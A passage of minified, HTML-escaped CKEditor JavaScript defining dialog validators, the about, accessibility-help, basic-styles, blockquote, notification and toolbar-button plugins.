h,g,e,c)}};CKEDITOR.dialog.addUIElement(&quot;hbox&quot;,a);CKEDITOR.dialog.addUIElement(&quot;vbox&quot;,a)})();CKEDITOR.dialogCommand=function(a,b){this.dialogName=a;CKEDITOR.tools.extend(this,b,!0)};CKEDITOR.dialogCommand.prototype={exec:function(a){var b=this.tabId;a.openDialog(this.dialogName,function(a){b&amp;&amp;a.selectPage(b)})},canUndo:!1,editorFocus:1};(function(){var a=/^([a]|[^a])+$/,b=/^\d*$/,c=/^\d*(?:\.\d+)?$/,e=/^(((\d*(\.\d+))|(\d*))(px|\%)?)?$/,d=/^(((\d*(\.\d+))|(\d*))(px|em|ex|in|cm|mm|pt|pc|\%)?)?$/i,
f=/^(\s*[\w-]+\s*:\s*[^:;]+(?:;|$))*$/;CKEDITOR.VALIDATE_OR=1;CKEDITOR.VALIDATE_AND=2;CKEDITOR.dialog.validate={functions:function(){var a=arguments;return function(){var b=this&amp;&amp;this.getValue?this.getValue():a[0],c,d=CKEDITOR.VALIDATE_AND,e=[],f;for(f=0;f&lt;a.length;f++)if(&quot;function&quot;==typeof a[f])e.push(a[f]);else break;f&lt;a.length&amp;&amp;&quot;string&quot;==typeof a[f]&amp;&amp;(c=a[f],f++);f&lt;a.length&amp;&amp;&quot;number&quot;==typeof a[f]&amp;&amp;(d=a[f]);var n=d==CKEDITOR.VALIDATE_AND?!0:!1;for(f=0;f&lt;e.length;f++)n=d==CKEDITOR.VALIDATE_AND?n&amp;&amp;
e[f](b):n||e[f](b);return n?!0:c}},regex:function(a,b){return function(c){c=this&amp;&amp;this.getValue?this.getValue():c;return a.test(c)?!0:b}},notEmpty:function(b){return this.regex(a,b)},integer:function(a){return this.regex(b,a)},number:function(a){return this.regex(c,a)},cssLength:function(a){return this.functions(function(a){return d.test(CKEDITOR.tools.trim(a))},a)},htmlLength:function(a){return this.functions(function(a){return e.test(CKEDITOR.tools.trim(a))},a)},inlineStyle:function(a){return this.functions(function(a){return f.test(CKEDITOR.tools.trim(a))},
a)},equals:function(a,b){return this.functions(function(b){return b==a},b)},notEqual:function(a,b){return this.functions(function(b){return b!=a},b)}};CKEDITOR.on(&quot;instanceDestroyed&quot;,function(a){if(CKEDITOR.tools.isEmpty(CKEDITOR.instances)){for(var b;b=CKEDITOR.dialog._.currentTop;)b.hide();for(var c in z)z[c].remove();z={}}a=a.editor._.storedDialogs;for(var d in a)a[d].destroy()})})();CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{openDialog:function(a,b){var c=null,e=CKEDITOR.dialog._.dialogDefinitions[a];
null===CKEDITOR.dialog._.currentTop&amp;&amp;N(this);if(&quot;function&quot;==typeof e)c=this._.storedDialogs||(this._.storedDialogs={}),c=c[a]||(c[a]=new CKEDITOR.dialog(this,a)),b&amp;&amp;b.call(c,c),c.show();else{if(&quot;failed&quot;==e)throw O(this),Error(&#039;[CKEDITOR.dialog.openDialog] Dialog &quot;&#039;+a+&#039;&quot; failed when loading definition.&#039;);&quot;string&quot;==typeof e&amp;&amp;CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e),function(){&quot;function&quot;!=typeof CKEDITOR.dialog._.dialogDefinitions[a]&amp;&amp;(CKEDITOR.dialog._.dialogDefinitions[a]=&quot;failed&quot;);this.openDialog(a,
b)},this,0,1)}CKEDITOR.skin.loadPart(&quot;dialog&quot;);return c}})})();CKEDITOR.plugins.add(&quot;dialog&quot;,{requires:&quot;dialogui&quot;,init:function(x){x.on(&quot;doubleclick&quot;,function(A){A.data.dialog&amp;&amp;x.openDialog(A.data.dialog)},null,null,999)}});CKEDITOR.plugins.add(&quot;about&quot;,{requires:&quot;dialog&quot;,init:function(a){var b=a.addCommand(&quot;about&quot;,new CKEDITOR.dialogCommand(&quot;about&quot;));b.modes={wysiwyg:1,source:1};b.canUndo=!1;b.readOnly=1;a.ui.addButton&amp;&amp;a.ui.addButton(&quot;About&quot;,{label:a.lang.about.dlgTitle,command:&quot;about&quot;,toolbar:&quot;about&quot;});CKEDITOR.dialog.add(&quot;about&quot;,this.path+&quot;dialogs/about.js&quot;)}});(function(){CKEDITOR.plugins.add(&quot;a11yhelp&quot;,{requires:&quot;dialog&quot;,availableLangs:{af:1,ar:1,az:1,bg:1,ca:1,cs:1,cy:1,da:1,de:1,&quot;de-ch&quot;:1,el:1,en:1,&quot;en-au&quot;:1,&quot;en-gb&quot;:1,eo:1,es:1,&quot;es-mx&quot;:1,et:1,eu:1,fa:1,fi:1,fo:1,fr:1,&quot;fr-ca&quot;:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,it:1,ja:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,nb:1,nl:1,no:1,oc:1,pl:1,pt:1,&quot;pt-br&quot;:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,sr:1,&quot;sr-latn&quot;:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,zh:1,&quot;zh-cn&quot;:1},init:function(b){var c=this;b.addCommand(&quot;a11yHelp&quot;,{exec:function(){var a=
b.langCode,a=c.availableLangs[a]?a:c.availableLangs[a.replace(/-.*/,&quot;&quot;)]?a.replace(/-.*/,&quot;&quot;):&quot;en&quot;;CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(c.path+&quot;dialogs/lang/&quot;+a+&quot;.js&quot;),function(){b.lang.a11yhelp=c.langEntries[a];b.openDialog(&quot;a11yHelp&quot;)})},modes:{wysiwyg:1,source:1},readOnly:1,canUndo:!1});b.setKeystroke(CKEDITOR.ALT+48,&quot;a11yHelp&quot;);CKEDITOR.dialog.add(&quot;a11yHelp&quot;,this.path+&quot;dialogs/a11yhelp.js&quot;);b.on(&quot;ariaEditorHelpLabel&quot;,function(a){a.data.label=b.lang.common.editorHelp})}})})();CKEDITOR.plugins.add(&quot;basicstyles&quot;,{init:function(c){var e=0,d=function(g,d,b,a){if(a){a=new CKEDITOR.style(a);var f=h[b];f.unshift(a);c.attachStyleStateChange(a,function(a){!c.readOnly&amp;&amp;c.getCommand(b).setState(a)});c.addCommand(b,new CKEDITOR.styleCommand(a,{contentForms:f}));c.ui.addButton&amp;&amp;c.ui.addButton(g,{label:d,command:b,toolbar:&quot;basicstyles,&quot;+(e+=10)})}},h={bold:[&quot;strong&quot;,&quot;b&quot;,[&quot;span&quot;,function(a){a=a.styles[&quot;font-weight&quot;];return&quot;bold&quot;==a||700&lt;=+a}]],italic:[&quot;em&quot;,&quot;i&quot;,[&quot;span&quot;,function(a){return&quot;italic&quot;==
a.styles[&quot;font-style&quot;]}]],underline:[&quot;u&quot;,[&quot;span&quot;,function(a){return&quot;underline&quot;==a.styles[&quot;text-decoration&quot;]}]],strike:[&quot;s&quot;,&quot;strike&quot;,[&quot;span&quot;,function(a){return&quot;line-through&quot;==a.styles[&quot;text-decoration&quot;]}]],subscript:[&quot;sub&quot;],superscript:[&quot;sup&quot;]},b=c.config,a=c.lang.basicstyles;d(&quot;Bold&quot;,a.bold,&quot;bold&quot;,b.coreStyles_bold);d(&quot;Italic&quot;,a.italic,&quot;italic&quot;,b.coreStyles_italic);d(&quot;Underline&quot;,a.underline,&quot;underline&quot;,b.coreStyles_underline);d(&quot;Strike&quot;,a.strike,&quot;strike&quot;,b.coreStyles_strike);d(&quot;Subscript&quot;,a.subscript,
&quot;subscript&quot;,b.coreStyles_subscript);d(&quot;Superscript&quot;,a.superscript,&quot;superscript&quot;,b.coreStyles_superscript);c.setKeystroke([[CKEDITOR.CTRL+66,&quot;bold&quot;],[CKEDITOR.CTRL+73,&quot;italic&quot;],[CKEDITOR.CTRL+85,&quot;underline&quot;]])}});CKEDITOR.config.coreStyles_bold={element:&quot;strong&quot;,overrides:&quot;b&quot;};CKEDITOR.config.coreStyles_italic={element:&quot;em&quot;,overrides:&quot;i&quot;};CKEDITOR.config.coreStyles_underline={element:&quot;u&quot;};CKEDITOR.config.coreStyles_strike={element:&quot;s&quot;,overrides:&quot;strike&quot;};CKEDITOR.config.coreStyles_subscript={element:&quot;sub&quot;};
CKEDITOR.config.coreStyles_superscript={element:&quot;sup&quot;};(function(){var m={exec:function(g){var a=g.getCommand(&quot;blockquote&quot;).state,k=g.getSelection(),c=k&amp;&amp;k.getRanges()[0];if(c){var h=k.createBookmarks();if(CKEDITOR.env.ie){var e=h[0].startNode,b=h[0].endNode,d;if(e&amp;&amp;&quot;blockquote&quot;==e.getParent().getName())for(d=e;d=d.getNext();)if(d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.isBlockBoundary()){e.move(d,!0);break}if(b&amp;&amp;&quot;blockquote&quot;==b.getParent().getName())for(d=b;d=d.getPrevious();)if(d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.isBlockBoundary()){b.move(d);break}}var f=c.createIterator();
f.enlargeBr=g.config.enterMode!=CKEDITOR.ENTER_BR;if(a==CKEDITOR.TRISTATE_OFF){for(e=[];a=f.getNextParagraph();)e.push(a);1&gt;e.length&amp;&amp;(a=g.document.createElement(g.config.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;),b=h.shift(),c.insertNode(a),a.append(new CKEDITOR.dom.text(&quot;﻿&quot;,g.document)),c.moveToBookmark(b),c.selectNodeContents(a),c.collapse(!0),b=c.createBookmark(),e.push(a),h.unshift(b));d=e[0].getParent();c=[];for(b=0;b&lt;e.length;b++)a=e[b],d=d.getCommonAncestor(a.getParent());for(a={table:1,tbody:1,
tr:1,ol:1,ul:1};a[d.getName()];)d=d.getParent();for(b=null;0&lt;e.length;){for(a=e.shift();!a.getParent().equals(d);)a=a.getParent();a.equals(b)||c.push(a);b=a}for(;0&lt;c.length;)if(a=c.shift(),&quot;blockquote&quot;==a.getName()){for(b=new CKEDITOR.dom.documentFragment(g.document);a.getFirst();)b.append(a.getFirst().remove()),e.push(b.getLast());b.replace(a)}else e.push(a);c=g.document.createElement(&quot;blockquote&quot;);for(c.insertBefore(e[0]);0&lt;e.length;)a=e.shift(),c.append(a)}else if(a==CKEDITOR.TRISTATE_ON){b=[];
for(d={};a=f.getNextParagraph();){for(e=c=null;a.getParent();){if(&quot;blockquote&quot;==a.getParent().getName()){c=a.getParent();e=a;break}a=a.getParent()}c&amp;&amp;e&amp;&amp;!e.getCustomData(&quot;blockquote_moveout&quot;)&amp;&amp;(b.push(e),CKEDITOR.dom.element.setMarker(d,e,&quot;blockquote_moveout&quot;,!0))}CKEDITOR.dom.element.clearAllMarkers(d);a=[];e=[];for(d={};0&lt;b.length;)f=b.shift(),c=f.getParent(),f.getPrevious()?f.getNext()?(f.breakParent(f.getParent()),e.push(f.getNext())):f.remove().insertAfter(c):f.remove().insertBefore(c),c.getCustomData(&quot;blockquote_processed&quot;)||
(e.push(c),CKEDITOR.dom.element.setMarker(d,c,&quot;blockquote_processed&quot;,!0)),a.push(f);CKEDITOR.dom.element.clearAllMarkers(d);for(b=e.length-1;0&lt;=b;b--){c=e[b];a:{d=c;for(var f=0,m=d.getChildCount(),l=void 0;f&lt;m&amp;&amp;(l=d.getChild(f));f++)if(l.type==CKEDITOR.NODE_ELEMENT&amp;&amp;l.isBlockBoundary()){d=!1;break a}d=!0}d&amp;&amp;c.remove()}if(g.config.enterMode==CKEDITOR.ENTER_BR)for(c=!0;a.length;)if(f=a.shift(),&quot;div&quot;==f.getName()){b=new CKEDITOR.dom.documentFragment(g.document);!c||!f.getPrevious()||f.getPrevious().type==
CKEDITOR.NODE_ELEMENT&amp;&amp;f.getPrevious().isBlockBoundary()||b.append(g.document.createElement(&quot;br&quot;));for(c=f.getNext()&amp;&amp;!(f.getNext().type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.getNext().isBlockBoundary());f.getFirst();)f.getFirst().remove().appendTo(b);c&amp;&amp;b.append(g.document.createElement(&quot;br&quot;));b.replace(f);c=!1}}k.selectBookmarks(h);g.focus()}},refresh:function(g,a){this.setState(g.elementPath(a.block||a.blockLimit).contains(&quot;blockquote&quot;,1)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)},context:&quot;blockquote&quot;,allowedContent:&quot;blockquote&quot;,
requiredContent:&quot;blockquote&quot;};CKEDITOR.plugins.add(&quot;blockquote&quot;,{init:function(g){g.blockless||(g.addCommand(&quot;blockquote&quot;,m),g.ui.addButton&amp;&amp;g.ui.addButton(&quot;Blockquote&quot;,{label:g.lang.blockquote.toolbar,command:&quot;blockquote&quot;,toolbar:&quot;blocks,10&quot;}))}})})();(function(){function q(b,a){CKEDITOR.tools.extend(this,a,{editor:b,id:&quot;cke-&quot;+CKEDITOR.tools.getUniqueId(),area:b._.notificationArea});a.type||(this.type=&quot;info&quot;);this.element=this._createElement();b.plugins.clipboard&amp;&amp;CKEDITOR.plugins.clipboard.preventDefaultDropOnElement(this.element)}function r(b){var a=this;this.editor=b;this.notifications=[];this.element=this._createElement();this._uiBuffer=CKEDITOR.tools.eventsBuffer(10,this._layout,this);this._changeBuffer=CKEDITOR.tools.eventsBuffer(500,this._layout,
this);b.on(&quot;destroy&quot;,function(){a._removeListeners();a.element.remove()})}CKEDITOR.plugins.add(&quot;notification&quot;,{init:function(b){function a(b){var a=new CKEDITOR.dom.element(&quot;div&quot;);a.setStyles({position:&quot;fixed&quot;,&quot;margin-left&quot;:&quot;-9999px&quot;});a.setAttributes({&quot;aria-live&quot;:&quot;assertive&quot;,&quot;aria-atomic&quot;:&quot;true&quot;});a.setText(b);CKEDITOR.document.getBody().append(a);setTimeout(function(){a.remove()},100)}b._.notificationArea=new r(b);b.showNotification=function(a,d,e){var f,l;&quot;progress&quot;==d?f=e:l=e;a=new CKEDITOR.plugins.notification(b,
{message:a,type:d,progress:f,duration:l});a.show();return a};b.on(&quot;key&quot;,function(c){if(27==c.data.keyCode){var d=b._.notificationArea.notifications;d.length&amp;&amp;(a(b.lang.notification.closed),d[d.length-1].hide(),c.cancel())}})}});q.prototype={show:function(){!1!==this.editor.fire(&quot;notificationShow&quot;,{notification:this})&amp;&amp;(this.area.add(this),this._hideAfterTimeout())},update:function(b){var a=!0;!1===this.editor.fire(&quot;notificationUpdate&quot;,{notification:this,options:b})&amp;&amp;(a=!1);var c=this.element,d=c.findOne(&quot;.cke_notification_message&quot;),
e=c.findOne(&quot;.cke_notification_progress&quot;),f=b.type;c.removeAttribute(&quot;role&quot;);b.progress&amp;&amp;&quot;progress&quot;!=this.type&amp;&amp;(f=&quot;progress&quot;);f&amp;&amp;(c.removeClass(this._getClass()),c.removeAttribute(&quot;aria-label&quot;),this.type=f,c.addClass(this._getClass()),c.setAttribute(&quot;aria-label&quot;,this.type),&quot;progress&quot;!=this.type||e?&quot;progress&quot;!=this.type&amp;&amp;e&amp;&amp;e.remove():(e=this._createProgressElement(),e.insertBefore(d)));void 0!==b.message&amp;&amp;(this.message=b.message,d.setHtml(this.message));void 0!==b.progress&amp;&amp;(this.progress=b.progress,
e&amp;&amp;e.setStyle(&quot;width&quot;,this._getPercentageProgress()));a&amp;&amp;b.important&amp;&amp;(c.setAttribute(&quot;role&quot;,&quot;alert&quot;),this.isVisible()||this.area.add(this));this.duration=b.duration;this._hideAfterTimeout()},hide:function(){!1!==this.editor.fire(&quot;notificationHide&quot;,{notification:this})&amp;&amp;this.area.remove(this)},isVisible:function(){return 0&lt;=CKEDITOR.tools.indexOf(this.area.notifications,this)},_createElement:function(){var b=this,a,c,d=this.editor.lang.common.close;a=new CKEDITOR.dom.element(&quot;div&quot;);a.addClass(&quot;cke_notification&quot;);
a.addClass(this._getClass());a.setAttributes({id:this.id,role:&quot;alert&quot;,&quot;aria-label&quot;:this.type});&quot;progress&quot;==this.type&amp;&amp;a.append(this._createProgressElement());c=new CKEDITOR.dom.element(&quot;p&quot;);c.addClass(&quot;cke_notification_message&quot;);c.setHtml(this.message);a.append(c);c=CKEDITOR.dom.element.createFromHtml(&#039;\x3ca class\x3d&quot;cke_notification_close&quot; href\x3d&quot;javascript:void(0)&quot; title\x3d&quot;&#039;+d+&#039;&quot; role\x3d&quot;button&quot; tabindex\x3d&quot;-1&quot;\x3e\x3cspan class\x3d&quot;cke_label&quot;\x3eX\x3c/span\x3e\x3c/a\x3e&#039;);a.append(c);c.on(&quot;click&quot;,
function(){b.editor.focus();b.hide()});return a},_getClass:function(){return&quot;progress&quot;==this.type?&quot;cke_notification_info&quot;:&quot;cke_notification_&quot;+this.type},_createProgressElement:function(){var b=new CKEDITOR.dom.element(&quot;span&quot;);b.addClass(&quot;cke_notification_progress&quot;);b.setStyle(&quot;width&quot;,this._getPercentageProgress());return b},_getPercentageProgress:function(){return Math.round(100*(this.progress||0))+&quot;%&quot;},_hideAfterTimeout:function(){var b=this,a;this._hideTimeoutId&amp;&amp;clearTimeout(this._hideTimeoutId);
if(&quot;number&quot;==typeof this.duration)a=this.duration;else if(&quot;info&quot;==this.type||&quot;success&quot;==this.type)a=&quot;number&quot;==typeof this.editor.config.notification_duration?this.editor.config.notification_duration:5E3;a&amp;&amp;(b._hideTimeoutId=setTimeout(function(){b.hide()},a))}};r.prototype={add:function(b){this.notifications.push(b);this.element.append(b.element);1==this.element.getChildCount()&amp;&amp;(CKEDITOR.document.getBody().append(this.element),this._attachListeners());this._layout()},remove:function(b){var a=CKEDITOR.tools.indexOf(this.notifications,
b);0&gt;a||(this.notifications.splice(a,1),b.element.remove(),this.element.getChildCount()||(this._removeListeners(),this.element.remove()))},_createElement:function(){var b=this.editor,a=b.config,c=new CKEDITOR.dom.element(&quot;div&quot;);c.addClass(&quot;cke_notifications_area&quot;);c.setAttribute(&quot;id&quot;,&quot;cke_notifications_area_&quot;+b.name);c.setStyle(&quot;z-index&quot;,a.baseFloatZIndex-2);return c},_attachListeners:function(){var b=CKEDITOR.document.getWindow(),a=this.editor;b.on(&quot;scroll&quot;,this._uiBuffer.input);b.on(&quot;resize&quot;,this._uiBuffer.input);
a.on(&quot;change&quot;,this._changeBuffer.input);a.on(&quot;floatingSpaceLayout&quot;,this._layout,this,null,20);a.on(&quot;blur&quot;,this._layout,this,null,20)},_removeListeners:function(){var b=CKEDITOR.document.getWindow(),a=this.editor;b.removeListener(&quot;scroll&quot;,this._uiBuffer.input);b.removeListener(&quot;resize&quot;,this._uiBuffer.input);a.removeListener(&quot;change&quot;,this._changeBuffer.input);a.removeListener(&quot;floatingSpaceLayout&quot;,this._layout);a.removeListener(&quot;blur&quot;,this._layout)},_layout:function(){function b(){a.setStyle(&quot;left&quot;,
k(n+d.width-g-h))}var a=this.element,c=this.editor,d=c.ui.contentsElement.getClientRect(),e=c.ui.contentsElement.getDocumentPosition(),f,l,u=a.getClientRect(),m,g=this._notificationWidth,h=this._notificationMargin;m=CKEDITOR.document.getWindow();var p=m.getScrollPosition(),t=m.getViewPaneSize(),q=CKEDITOR.document.getBody(),r=q.getDocumentPosition(),k=CKEDITOR.tools.cssLength;g&amp;&amp;h||(m=this.element.getChild(0),g=this._notificationWidth=m.getClientRect().width,h=this._notificationMargin=parseInt(m.getComputedStyle(&quot;margin-left&quot;),
10)+parseInt(m.getComputedStyle(&quot;margin-right&quot;),10));c.toolbar&amp;&amp;(f=c.ui.space(&quot;top&quot;),l=f.getClientRect());f&amp;&amp;f.isVisible()&amp;&amp;l.bottom&gt;d.top&amp;&amp;l.bottom&lt;d.bottom-u.height?a.setStyles({position:&quot;fixed&quot;,top:k(l.bottom)}):0&lt;d.top?a.setStyles({position:&quot;absolute&quot;,top:k(e.y)}):e.y+d.height-u.height&gt;p.y?a.setStyles({position:&quot;fixed&quot;,top:0}):a.setStyles({position:&quot;absolute&quot;,top:k(e.y+d.height-u.height)});var n=&quot;fixed&quot;==a.getStyle(&quot;position&quot;)?d.left:&quot;static&quot;!=q.getComputedStyle(&quot;position&quot;)?e.x-r.x:e.x;d.width&lt;
g+h?e.x+g+h&gt;p.x+t.width?b():a.setStyle(&quot;left&quot;,k(n)):e.x+g+h&gt;p.x+t.width?a.setStyle(&quot;left&quot;,k(n)):e.x+d.width/2+g/2+h&gt;p.x+t.width?a.setStyle(&quot;left&quot;,k(n-e.x+p.x+t.width-g-h)):0&gt;d.left+d.width-g-h?b():0&gt;d.left+d.width/2-g/2?a.setStyle(&quot;left&quot;,k(n-e.x+p.x)):a.setStyle(&quot;left&quot;,k(n+d.width/2-g/2-h/2))}};CKEDITOR.plugins.notification=q})();(function(){var c=&#039;\x3ca id\x3d&quot;{id}&quot; class\x3d&quot;cke_button cke_button__{name} cke_button_{state} {cls}&quot;&#039;+(CKEDITOR.env.gecko&amp;&amp;!CKEDITOR.env.hc?&quot;&quot;:&quot; href\x3d\&quot;javascript:void(&#039;{titleJs}&#039;)\&quot;&quot;)+&#039; title\x3d&quot;{title}&quot; tabindex\x3d&quot;-1&quot; hidefocus\x3d&quot;true&quot; role\x3d&quot;button&quot; aria-labelledby\x3d&quot;{id}_label&quot; aria-describedby\x3d&quot;{id}_description&quot; aria-haspopup\x3d&quot;{hasArrow}&quot; aria-disabled\x3d&quot;{ariaDisabled}&quot;&#039;;CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac&amp;&amp;(c+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);CKEDITOR.env.gecko&amp;&amp;(c+=
&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot;&#039;);var c=c+(&#039; onkeydown\x3d&quot;return CKEDITOR.tools.callFunction({keydownFn},event);&quot; onfocus\x3d&quot;return CKEDITOR.tools.callFunction({focusFn},event);&quot; &#039;+(CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;)+&#039;\x3d&quot;CKEDITOR.tools.callFunction({clickFn},this);return false;&quot;\x3e\x3cspan class\x3d&quot;cke_button_icon cke_button__{iconName}_icon&quot; style\x3d&quot;{style}&quot;&#039;),c=c+&#039;\x3e\x26nbsp;\x3c/span\x3e\x3cspan id\x3d&quot;{id}_label&quot; class\x3d&quot;cke_button_label cke_button__{name}_label&quot; aria-hidden\x3d&quot;false&quot;\x3e{label}\x3c/span\x3e\x3cspan id\x3d&quot;{id}_description&quot; class\x3d&quot;cke_button_label&quot; aria-hidden\x3d&quot;false&quot;\x3e{ariaShortcut}\x3c/span\x3e{arrowHtml}\x3c/a\x3e&#039;,
v=CKEDITOR.addTemplate(&quot;buttonArrow&quot;,&#039;\x3cspan class\x3d&quot;cke_button_arrow&quot;\x3e&#039;+(CKEDITOR.env.hc?&quot;\x26#9660;&quot;:&quot;&quot;)+&quot;\x3c/span\x3e&quot;),w=CKEDITOR.addTemplate(&quot;button&quot;,c);CKEDITOR.plugins.add(&quot;button&quot;,{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_BUTTON,CKEDITOR.ui.button.handler)}});CKEDITOR.UI_BUTTON=&quot;button&quot;;CKEDITOR.ui.button=function(a){CKEDITOR.tools.extend(this,a,{title:a.label,click:a.click||function(b){b.execCommand(a.command)}});this._={}};CKEDITOR.ui.button.handler={create:function(a){return new CKEDITOR.ui.button(a)}};
CKEDITOR.ui.button.prototype={render:function(a,b){function c(){var f=a.mode;f&amp;&amp;(f=this.modes[f]?void 0!==n[f]?n[f]:CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,f=a.readOnly&amp;&amp;!this.readOnly?CKEDITOR.TRISTATE_DISABLED:f,this.setState(f),this.refresh&amp;&amp;this.refresh())}var n=null,p=CKEDITOR.env,q=this._.id=CKEDITOR.tools.getNextId(),g=&quot;&quot;,d=this.command,t,k,l;this._.editor=a;var e={id:q,button:this,editor:a,focus:function(){CKEDITOR.document.getById(q).focus()},execute:function(){this.button.click(a)},
attach:function(a){this.button.attach(a)}},x=CKEDITOR.tools.addFunction(function(a){if(e.onkey)return a=new CKEDITOR.dom.event(a),!1!==e.onkey(e,a.getKeystroke())}),y=CKEDITOR.tools.addFunction(function(a){var b;e.onfocus&amp;&amp;(b=!1!==e.onfocus(e,new CKEDITOR.dom.event(a)));return b}),u=0;e.clickFn=t=CKEDITOR.tools.addFunction(function(){u&amp;&amp;(a.unlockSelection(1),u=0);e.execute();p.iOS&amp;&amp;a.focus()});this.modes?(n={},a.on(&quot;beforeModeUnload&quot;,function(){a.mode&amp;&amp;this._.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;(n[a.mode]=
this._.state)},this),a.on(&quot;activeFilterChange&quot;,c,this),a.on(&quot;mode&quot;,c,this),!this.readOnly&amp;&amp;a.on(&quot;readOnly&quot;,c,this)):d&amp;&amp;(d=a.getCommand(d))&amp;&amp;(d.on(&quot;state&quot;,function(){this.setState(d.state)},this),g+=d.state==CKEDITOR.TRISTATE_ON?&quot;on&quot;:d.state==CKEDITOR.TRISTATE_DISABLED?&quot;disabled&quot;:&quot;off&quot;);var m;if(this.directional)a.on(&quot;contentDirChanged&quot;,function(b){var c=CKEDITOR.document.getById(this._.id),d=c.getFirst();b=b.data;b!=a.lang.dir?c.addClass(&quot;cke_&quot;+b):c.removeClass(&quot;cke_ltr&quot;).removeClass(&quot;cke_rtl&quot;);d.setAttribute(&quot;style&quot;,
CKEDITOR.skin.getIconStyle(m,&quot;rtl&quot;==b,this.icon,this.iconOffset))},this);d?(k=a.getCommandKeystroke(d))&amp;&amp;(l=CKEDITOR.tools.keystrokeToString(a.lang.common.keyboard,k)):g+=&quot;off&quot;;k=this.name||this.command;var h=null,r=this.icon;m=k;this.icon&amp;&amp;!/\./.test(this.icon)?(m=this.icon,r=null):(this.icon&amp;&amp;(h=this.icon),CKEDITOR.env.hidpi&amp;&amp;this.iconHiDpi&amp;&amp;(h=this.iconHiDpi));h?(CKEDITOR.skin.addIcon(h,h),r=null):h=m;g={id:q,name:k,iconName:m,label:this.label,cls:(this.hasArrow?&quot;cke_button_expandable &quot;:&quot;&quot;)+(this.className||
&quot;&quot;),state:g,ariaDisabled:&quot;disabled&quot;==g?&quot;true&quot;:&quot;false&quot;,title:this.title+(l?&quot; (&quot;+l.display+&quot;)&quot;:&quot;&quot;),ariaShortcut:l?a.lang.common.keyboardShortcut+&quot; &quot;+l.aria:&quot;&quot;,titleJs:p.gecko&amp;&amp;!p.hc?&quot;&quot;:(this.title||&quot;&quot;).replace(&quot;&#039;&quot;,&quot;&quot;),hasArrow:&quot;string&quot;===typeof this.hasArrow&amp;&amp;this.hasArrow||(this.hasArrow?&quot;true&quot;:&quot;false&quot;),keydownFn:x,focusFn:y,clickFn:t,style:CKEDITOR.skin.getIconStyle(h,&quot;rtl&quot;==a.lang.dir,r,this.iconOffset),arrowHtml:this.hasArrow?v.output():&quot;&quot;};w.output(g,b);if(this.onRender)this.onRender();return e},
setState:function(a){if(this._.state==a)return!1;this._.state=a;var b=CKEDITOR.document.getById(this._.id);return b?(b.setState(a,&quot;cke_button&quot;),b.setAttribute(&quot;aria-disabled&quot;,a==CKEDITOR.TRISTATE_DISABLED),this.hasArrow?b.setAttribute(&quot;aria-expanded&quot;,a==CKEDITOR.TRISTATE_ON):a===CKEDITOR.TRISTATE_ON?b.setAttribute(&quot;aria-pressed&quot;,!0):b.removeAttribute(&quot;aria-pressed&quot;),!0):!1},getState:function(){return this._.state},toFeature:function(a){if(this._.feature)return this._.feature;var b=this;this.allowedContent||
this.requiredContent||!this.command||(b=a.getCommand(this.command)||b);return this._.feature=b}};CKEDITOR.ui.prototype.addButton=function(a,b){this.add(a,CKEDITOR.UI_BUTTON,b)}})();(function(){function D(a){function d(){for(var b=f(),e=CKEDITOR.tools.clone(a.config.toolbarGroups)||v(a),n=0;n&lt;e.length;n++){var g=e[n];if(&quot;/&quot;!=g){&quot;string&quot;==typeof g&amp;&amp;(g=e[n]={name:g});var l,d=g.groups;if(d)for(var h=0;h&lt;d.length;h++)l=d[h],(l=b[l])&amp;&amp;c(g,l);(l=b[g.name])&amp;&amp;c(g,l)}}return e}function f(){var b={},c,e,g;for(c in a.ui.items)e=a.ui.items[c],g=e.toolbar||&quot;others&quot;,g=g.split(&quot;,&quot;),e=g[0],g=parseInt(g[1]||-1,10),b[e]||(b[e]=[]),b[e].push({name:c,order:g});for(e in b)b[e]=b[e].sort(function(b,
a){return b.order==a.order?0:0&gt;a.order?-1:0&gt;b.order?1:b.order&lt;a.order?-1:1});return b}function c(c,e){if(e.length){c.items?c.items.push(a.ui.create(&quot;-&quot;)):c.items=[];for(var d;d=e.shift();)d=&quot;string&quot;==typeof d?d:d.name,b&amp;&amp;-1!=CKEDITOR.tools.indexOf(b,d)||(d=a.ui.create(d))&amp;&amp;a.addFeature(d)&amp;&amp;c.items.push(d)}}function h(b){var a=[],e,d,h;for(e=0;e&lt;b.length;++e)d=b[e],h={},&quot;/&quot;==d?a.push(d):CKEDITOR.tools.isArray(d)?(c(h,CKEDITOR.tools.clone(d)),a.push(h)):d.items&amp;&amp;(c(h,CKEDITOR.tools.clone(d.items)),
h.name=d.name,a.push(h));return a}var b=a.config.removeButtons,b=b&amp;&amp;b.split(&quot;,&quot;),e=a.config.toolbar;&quot;string&quot;==typeof e&amp;&amp;(e=a.config[&quot;toolbar_&quot;+e]);return a.toolbar=e?h(e):d()}function v(a){return a._.toolbarGroups||(a._.toolbarGroups=[{name:&quot;document&quot;,groups:[&quot;mode&quot;,&quot;document&quot;,&quot;doctools&quot;]},{name:&quot;clipboard&quot;,groups:[&quot;clipboard&quot;,&quot;undo&quot;]},{name:&quot;editing&quot;,groups:[&quot;find&quot;,&quot;selection&quot;,&quot;spellchecker&quot;]},{name:&quot;forms&quot;},&quot;/&quot;,{name:&quot;basicstyles&quot;,groups:[&quot;basicstyles&quot;,&quot;cleanup&quot;]},{name:&quot;paragraph&quot;,groups:[&quot;list&quot;,
